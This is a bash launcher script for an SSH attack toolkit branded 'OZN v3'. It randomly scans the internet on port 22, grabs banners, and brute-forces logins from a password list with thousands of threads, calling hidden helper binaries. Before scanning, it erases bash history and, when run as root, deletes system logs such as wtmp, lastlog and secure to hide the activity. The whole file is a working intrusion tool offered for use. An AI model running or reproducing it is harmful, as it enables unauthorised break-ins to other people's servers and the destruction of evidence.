#!/bin/bash

RES='\033[0m'
WHT='\033[38;5;231m'
RED='\033[38;5;124m'
YEL='\033[38;4;226m'
MAG='\033[38;5;165m'
PRP='\033[38;5;093m'

NGRN='\033[38;5;048m'
NBLU='\033[38;5;051m'
NORA='\033[38;5;202m'
NRED='\033[38;5;196m'

if [ $# != 2 ]; 
then
    echo -e "$NRED[$NGRN-$NRED] ${WHT}Syntax: $0 <authkey> <user>$RES"
	exit;
fi

rm -rf banner.log ips.lst scan.lst bios.txt tempbios.txt

# (Settings)
time=60            #( Time for random scanning )
timeout=10         #( Bruteforce ip connection timeout )
threads=2000       #( Bruteforce threads )
port=22            #( Port for scanning )
pass_file=pass     #( Passfile name )
banthread=1000     #( Banner grabber threads )
randthreads=1000   #( Random scanner threads )
randtimeout=1      #( Random scanner timeout )

if [[ $(id -u) -ne 0 ]];
then
	rm -rf ~/.bash_history
else
    sync; echo 1 > /proc/sys/vm/drop_caches
    sync; echo 2 > /proc/sys/vm/drop_caches
    sync; echo 3 > /proc/sys/vm/drop_caches

    clear ; unset ; rm -rf /var/run/utmp /var/log/wtmp /var/log/lastlog /var/log/messages /var/log/secure /var/log/xferlog /var/log/maillog /root/.bash_history ; unset HISTFILE ; unset HISTSAVE ; unset HISTLOG ; history -n ; unset WATCH ; export HISTFILE=/dev/null ; export HISTFILE=/dev/null
fi

clear
echo -e "\e[38;5;46m╔═══════════════════════════════════════════════════════════╗"
echo -e "\e[38;5;47m║       ██████╗ ███████╗███╗   ██╗    ██╗   ██╗██████╗      ║"
echo -e "\e[38;5;48m║      ██╔═══██╗╚══███╔╝████╗  ██║    ██║   ██║╚════██╗     ║"
echo -e "\e[38;5;49m║      ██║   ██║  ███╔╝ ██╔██╗ ██║    ██║   ██║ █████╔╝     ║"
echo -e "\e[38;5;50m║      ██║   ██║ ███╔╝  ██║╚██╗██║    ╚██╗ ██╔╝ ╚═══██╗     ║"
echo -e "\e[38;5;51m║      ╚██████╔╝███████╗██║ ╚████║     ╚████╔╝ ██████╔╝     ║"
echo -e "\e[38;5;87m║       ╚═════╝ ╚══════╝╚═╝  ╚═══╝      ╚═══╝  ╚═════╝      ║"
echo -e "\e[38;5;48m╠═══════════════════════════════════════════════════════════╣"
echo -e "\e[38;5;49m║                    qAd1tz   &   Raducu                    ║"
echo -e "\e[38;5;51m╚═══════════════════════════════════════════════════════════╝\033[0m"
echo " "
sleep 2
echo -e "$NGRN[$NBLU+$NGRN] $PRP- ${WHT}OZN random uid1 started!$RES"
echo -e "$NGRN[$NBLU+$NGRN] $PRP- ${WHT}Threads: $randthreads$RES"
echo -e "$NGRN[$NBLU+$NGRN] $PRP- ${WHT}Timeout: $timeout$RES"
echo -e "$NGRN[$NBLU+$NGRN] $PRP- ${WHT}Time: $time$RES"
echo -e "$NGRN[$NBLU+$NGRN] $PRP- ${WHT}Port: $port$RES"
echo " "
sleep 3
timeout $time ./.rozn $randthreads $port $randtimeout $1 $2
sleep 2

clear
echo -e "$NGRN[$NBLU+$NGRN] $PRP- ${WHT}OZN banner grabber started!$RES"
echo -e "$NGRN[$NBLU+$NGRN] $PRP- ${WHT}Please wait some seconds..$RES"
echo " "
sleep 3
./.bozn $banthread $port bios.txt > /dev/null
sleep 1
pkill -f .bozn

./.fozn banner.log

ipsc=`grep -c . ips.lst`
passl=`grep -c . $pass_file`

clear
echo -e "$NGRN[$NBLU+$NGRN] $PRP- ${WHT}OZN bruteforce started!$RES"
echo -e "$NGRN[$NBLU+$NGRN] $PRP- ${WHT}Port: ${NBLU}$port$RES"
echo -e "$NGRN[$NBLU+$NGRN] $PRP- ${WHT}Threads: ${NBLU}$threads$RES"
echo -e "$NGRN[$NBLU+$NGRN] $PRP- ${WHT}Timeout: ${NBLU}$timeout$RES"
echo -e "$NGRN[$NBLU+$NGRN] $PRP- ${WHT}IP list lines: ${NBLU}$ipsc$RES"
echo -e "$NGRN[$NBLU+$NGRN] $PRP- ${WHT}Passfile lines: ${NBLU}$passl$RES"
echo " "
sleep 3
./brute $threads ips.lst $pass_file $port $timeout $1 $2
sleep 10
pkill brute

echo -e "$NGRN[$NBLU+$NGRN] $PRP- ${WHT}OZN bruteforce is now done!$RES"
echo -e "$NGRN[$NBLU+$NGRN] $PRP- ${WHT}Use './filter' to filter good servers.$RES"
